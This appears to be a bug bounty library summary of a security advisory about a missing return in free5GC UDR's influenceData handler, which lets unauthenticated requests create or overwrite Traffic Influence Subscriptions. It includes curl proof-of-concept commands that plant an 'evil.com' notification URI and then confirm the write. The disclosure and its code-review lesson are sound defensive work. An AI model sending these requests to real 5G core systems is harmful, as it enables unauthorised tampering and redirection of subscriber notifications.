# free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions

free5GC UDR handler sends 404 for invalid influenceId but omits return, letting unauthenticated attackers create/overwrite Traffic Influence Subscriptions.

- Payout: Research
- Severity: high
- Program: free5GC
- Found by: Giancannella, FrancescoDAlterio
- Disclosed: 2026-04-14
- CVE: CVE-2026-40248
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jgq2-qv8v-5cmj
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jgq2-qv8v-5cmj
- Tags: area:devices domain:api domain:network impact:integrity kind:research platform:ghsa sev:high tech:go tech:rest vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** UDR SBI REST endpoint /nudr-dr/v2/application-data/influenceData
**Root cause:** Handler checks influenceId != "subs-to-notify", writes a 404 response, but does not return, so execution continues to parse the body and invoke the create/update procedure.
**Steps:**
1. Send `PUT /nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid` with JSON body containing `notificationUri`, `dnns`, `supis`.
2. Observe HTTP 404 response but body echoed back.
3. GET `/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid` to confirm the subscription was written.
**How found:** Code review of the handler revealed the 404 branch lacked a return, so control flow fell through to the processor call.
**Exploitation:** Unauthenticated attacker with SBI network access sends a PUT with arbitrary influenceId and chosen subscriptionId; despite the 404, the UDR persists attacker-controlled subscription data including SUPIs and notificationUri, enabling redirection of policy notifications or state corruption.
**Insight:** In Go HTTP handlers, a response write does not stop execution; audit every error/404 branch for a missing return, and verify writes by re-reading the resource after a rejected request.

## Proof of concept (copied exactly from the original report)

**curl PUT to invalid influenceId path**

```
curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \
  -H "Content-Type: application/json" \
  -d '{
    "notificationUri":"http://evil.com",
    "dnns":["internet"],
    "supis":["imsi-999999999999999"]
  }'
```

**curl GET verifying subscription was written**

```
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid"
Response:
{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"}
```